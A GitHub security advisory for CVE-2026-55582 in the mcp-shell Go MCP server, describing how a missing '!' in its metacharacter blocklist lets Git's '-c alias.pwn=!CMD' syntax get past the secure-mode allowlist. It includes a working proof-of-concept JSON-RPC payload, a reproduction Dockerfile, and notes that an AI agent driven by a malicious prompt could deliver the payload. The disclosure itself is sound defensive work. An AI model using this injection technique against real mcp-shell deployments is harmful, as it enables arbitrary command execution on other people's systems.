GitHub Advisoryadvisory · Go

GHSA-74hp-mggr-hv58 mcp-shell has a Secure Mode Allowlist Bypass via Git Shell Alias

HIGH Published 2026-08-25 Modified 2026-08-25 Official page ↗
Aliases
CVE-2026-55582
Ecosystem
Go
Packages
github.com/sonirico/mcp-shell
Severity
High
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-78
Reviewed
2026-08-25

Affected packages

• Go github.com/sonirico/mcp-shell: < 0.6.0 → fixed in 0.6.0

Description

Summary `mcp-shell`'s "secure mode" is designed to restrict command execution to an allowlist of executables defined in `security.yaml`. The default configuration includes `/usr/bin/git`. The security validator in `security.go` blocks common shell metacharacters (`|&;<>(){}[]$\``) but omits `!`, which is the prefix Git uses to execute shell aliases (`alias.NAME=!CMD`). An attacker who can invoke the `shell_exec` MCP tool can pass `/usr/bin/git -c alias.pwn=!` as the command argument, bypassing all validation and achieving arbitrary OS command execution as the `mcp-shell` process user. The default Docker image runs as `mcpuser` (UID 1000) with Git installed and secure mode enabled, making this exploitable in the default deployment with no authentication required. Details The vulnerability is a classic OS Command Injection (CWE-78) in the `shell_exec` MCP tool handler. The data flow from attacker input to shell execution is: 1. `main.go:89-91` — The MCP tool schema exposes a required string parameter `command` with no server-side type constraints. 2. `main.go:102` — `shell_exec` is bound to `shellHandler.handle`. 3. `handler.go:34` — The handler reads the attacker-controlled value: `command, err := request.RequireString("command")`. 4. `handler.go:49` — The command string is passed to `h.validator.validateCommand(command)`. 5. `security.go:136` — `containsShellMetacharacters` checks for `|&;<>(){}[]$\`` but `!` is absent from the blocked set. 6. `security.go:147-149` — `containsDangerousShellConstructs` also does not include `!`. 7. `security.go:85-96` — `/usr/bin/git` matches `AllowedExecutables`; no per-argument policy exists for Git. The `blocked_patterns` list in `security.yaml:35` is empty (`[]`). 8. `handler.go:59` — The fully validated (but unsafe) command is forwarded to `h.executor.execute`. 9. `executor.go:149-163` — `parseCommand` splits the string with `strings.Fields`; `exec.CommandContext(ctx, executable, args...)` is called with `executable="/usr/bin/git"` and `args=["-c", "alias.pwn=!touch", "pwn", "/tmp/target"]`. 10. `executor.go:199` — `cmd.Run()` launches `git`. Git interprets `-c alias.pwn=!touch` as a runtime configuration entry, defining the alias `pwn` as the shell command `touch`. When Git resolves the subcommand `pwn`, it triggers the shell alias: `sh -c 'touch "$@"' _ /tmp/target`, creating the file. The root cause is the missing `!` in the metacharacter blocklist and the absence of any per-executable argument policy that would prevent Git's `-c alias.*=!` pattern. Incriminated source locations: • `security.go:136` — metacharacter set missing `!` • `security.go:147-149` — `containsDangerousShellConstructs` missing `!` • `security.yaml:27` — `/usr/bin/git` in `allowed_executables` • `security.yaml:35` — `blocked_patterns: []` • `executor.go:149-163,199` — direct `exec.CommandContext` invocation with unsanitized Git arguments PoC Prerequisites: • Docker installed and the `mcp-shell-vuln-001` image built from the provided `Dockerfile` (repo root as build context, commit `c30862f`). • Python 3 to run `poc.py`. Build the Docker image: ```bash docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 . ``` Run the PoC: ```bash python3 vuln-001/poc.py ``` The script performs the full MCP JSON-RPC handshake over stdin and sends the following `tools/call` request: ```json { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "shell_exec", "arguments": { "command": "/usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc", "base64": false } } } ``` The container's `/tmp` is bind-mounted to a host temporary directory so the evidence file can be observed on the host without `docker exec`. Expected result: • MCP response: `{"status":"success","exit_code":0,"execution_time":"~3ms","security_info":{"security_enabled":true,...}}` • Evidence file created at `/mcp-shell-mcp-poc` with `uid=1000` (mcpuser), confirming arbitrary shell command execution inside the container. Validation bypass explanation: | Check | Value tested | Result | |---|---|---| | `containsShellMetacharacters` | `alias.pwn=!touch` | `false` — `!` not in blocklist | | `containsDangerousShellConstructs` | `alias.pwn=!touch` | `false` — `!` not in blocklist | | `matchesExecutable` | `/usr/bin/git` | `true` — in `AllowedExecutables` | All checks pass; `git` receives `alias.pwn=!touch` as a config entry and executes `touch` as a shell alias. Impact This is an OS Command Injection vulnerability (CWE-78). Any entity that can issue an MCP `tools/call` request to a `mcp-shell` instance running with the default Docker configuration can execute arbitrary OS commands as the `mcpuser` process account (UID 1000) inside the container. The default Docker deployment sets `MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml`, installs `git`, and runs as `mcpuser`. The `shell_exec` tool requires no additional authentication beyond MCP connectivity. "Secure mode" is explicitly marketed as the mechanism preventing command injection; this bypass nullifies that protection entirely. Impacted parties: • Users and operators who deploy the default `mcp-shell` Docker image and expose it to MCP clients (directly via stdio, or via an MCP bridge/proxy over the network). • AI agent systems that integrate `mcp-shell` as a tool provider, where a compromised or malicious LLM prompt could supply the exploit payload as the `command` argument. Reproduction artifacts `Dockerfile` ```dockerfile VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias CWE-78: OS Command Injection This Dockerfile reproduces the exact default Docker deployment environment of sonirico/mcp-shell at commit c30862f that is affected by VULN-001. Vulnerability summary: • security.yaml allows /usr/bin/git in allowed_executables • The security validator (security.go) does not block '!' in arguments • Git's '-c alias.NAME=!CMD' syntax executes CMD as a shell command • This bypasses "secure mode" and achieves arbitrary command execution Build context must be the repo parent directory: docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 . Stage 1: Build the mcp-shell binary from the vulnerable source FROM golang:1.25-alpine AS builder RUN apk add --no-cache git ca-certificates WORKDIR /src Download dependencies before copying source for better layer caching COPY repo/go.mod repo/go.sum ./ RUN go mod download Copy and build the vulnerable source COPY repo/*.go ./ RUN CGO_ENABLED=0 GOOS=linux go build \ -ldflags "-s -w" \ -o mcp-shell . Stage 2: Runtime environment matching the default mcp-shell Docker image FROM alpine:3.22 Install git — this is what the default Dockerfile does (apk add git), and it is what makes the exploit possible: /usr/bin/git is present and the security config allows it. RUN apk add --no-cache bash git Create non-root user matching the default Docker image RUN addgroup -g 1000 mcpuser && \ adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser Install the mcp-shell binary COPY --from=builder /src/mcp-shell /usr/local/bin/mcp-shell Install the default (vulnerable) security configuration. Key properties that enable the exploit: allowed_executables includes /usr/bin/git blocked_patterns is empty security.go does not list '!' in blocked metacharacters COPY repo/security.yaml /etc/mcp-shell/security.yaml Replicate the default environment variables from the repo Dockerfile ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml ENV MCP_SHELL_LOG_FORMAT=json ENV PATH="/usr/local/bin:${PATH}" USER mcpuser WORKDIR /home/mcpuser mcp-shell reads JSON-RPC over stdin and writes responses to stdout ENTRYPOINT ["mcp-shell"] ``` `poc.py` ```python !/usr/bin/env python3 """ Proof-of-Concept for VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias Repository: sonirico/mcp-shell (commit c30862f) CWE-78: OS Com…

Related

Alias · CVE (1)

  • CVE-2026-55582 mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. vulnerability

Weakness · CWE (1)

  • CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness

References